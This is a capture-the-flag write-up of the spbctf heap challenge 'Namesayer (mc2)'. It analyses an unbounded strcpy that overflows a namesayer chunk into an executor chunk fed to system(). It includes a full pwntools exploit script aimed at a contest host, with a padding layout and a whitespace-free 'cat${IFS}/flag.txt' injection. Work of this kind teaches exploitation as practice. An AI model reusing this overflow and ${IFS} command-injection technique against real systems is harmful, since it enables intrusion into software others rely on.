Namesayer (mc2) — heap overflow via strcpy
Namesayer (mc2) — heap overflow via strcpy
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: forward_strcpy_overflow, heap_chunk_sandwich, ifs_whitespace_bypass
Summary
Task: menu-based heap allocator with a namesayer chunk and an executor chunk that is later fed to system(); wedding() performs an unbounded strcpy from a stack buffer into namesayer+0x10. Solution: arrange the allocator so the namesayer sits between the initial and a new executor, overflow 32 bytes forward into the next executor's data, and have system() execute cat${IFS}/flag.txt (whitespace-free so scanf/strcpy don't truncate).
Namesayer (mc2) — SPB CTF Pwn Season
Description
Mic Check (heap), 10 pts
nc 109.233.56.90 11712Binary:mc2.elf— ELF64 PIE, Full RELRO, canary, NX, glibc-style malloc.
English summary: a small menu-driven challenge with "executor" and "namesayer" objects on the heap, plus a wedding() function whose strcpy into the namesayer is unbounded. We arrange chunks so the overflow corrupts the next executor's data, which system() will then happily run.
Analysis
Debug symbols are kept. The relevant functions:
allocate_executor()—malloc(0x40), initializes it to"ls -la\0". This is the "current executor" pointersystemwill eventually receive.allocate_namesayer()—malloc(0x20). Thenscanf("%s", ns)for the first name andscanf("%s", ns+0x10)for the last name — both unbounded.execute_command(cmd)—printf("Executing %s\n", cmd); system(cmd);.say_name(ns)— prints"I'm %s. %s %s.\n"usingns+0x10/ns/ns+0x10.wedding(ns)— reads a stack buffer withscanf("%s", ...)and thenstrcpy(ns + 0x10, stack_buf). No length check onstrcpy→ unbounded forward write inside the heap starting fromnamesayer + 0x10.
main auto-calls allocate_executor() before the menu loop, so there is already one executor chunk on the heap at start. The menu commands:
e— allocate a new executor (becomes the current executor).x—execute_command(current_executor).n— allocate a namesayer.s—say_name.w—wedding→ the dangerousstrcpy.
Vulnerability
Classic forward heap overflow through strcpy. We want the overflow to smash the data of the "current executor" so that the subsequent x calls system() on a string we control.
Issuing the menu sequence n → e → w → x produces this heap layout (chunks grow upward):
low [ auto exec A : malloc 0x40, "ls -la\0" ]
[ namesayer B : malloc 0x20 ]
[ new exec C : malloc 0x40, "current" ] high
^---- overflow target
wedding writes from B_data + 0x10 forward. Distance to the user data of chunk C:
- remaining bytes of B's user area: 16
- chunk C's 16-byte header (
prev_size+size): 16
Total 32 bytes of padding before we land in C's data.
Gotchas
- Both
scanf("%s")andstrcpystop on NUL (andscanfalso on whitespace). The payload must be NUL-free and whitespace-free. - No spaces in the shell command → use
${IFS}(bash's internal field separator, which expands to whitespace) between tokens. - An earlier attempt tried to forge fake chunk headers (
p64(0)*1 + p64(0x51)) inside the padding; the NULs in those headers truncated thestrcpyand nothing hit chunk C. The allocator does not revalidatesizeon subsequentmalloccalls here, so plain non-NUL padding bytes work fine.
Solution
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * HOST, PORT = '109.233.56.90', 11712 def go(cmd: bytes) -> bytes: p = remote(HOST, PORT) # Allocate namesayer (chunk B after the auto-executor) p.sendlineafter(b'choice: ', b'n') p.sendlineafter(b'First name: ', b'AAAA') p.sendlineafter(b'Last name: ', b'BBBB') # Allocate a new executor (chunk C after B); becomes current executor p.sendlineafter(b'choice: ', b'e') # Trigger wedding -> strcpy from stack into ns+0x10, overflow forward into C p.sendlineafter(b'choice: ', b'w') payload = b'X' * 32 + cmd # 16 rest-of-B + 16 C header p.sendlineafter(b'last name: ', payload) # Now system(C->data) == system(cmd) p.sendlineafter(b'choice: ', b'x') data = p.recvall(timeout=4) p.close() return data out = go(b'cat${IFS}/flag.txt;cat${IFS}flag.txt') print(out.decode(errors='replace'))
The executor's data is now our cat${IFS}/flag.txt string, system expands ${IFS} to whitespace and prints the flag.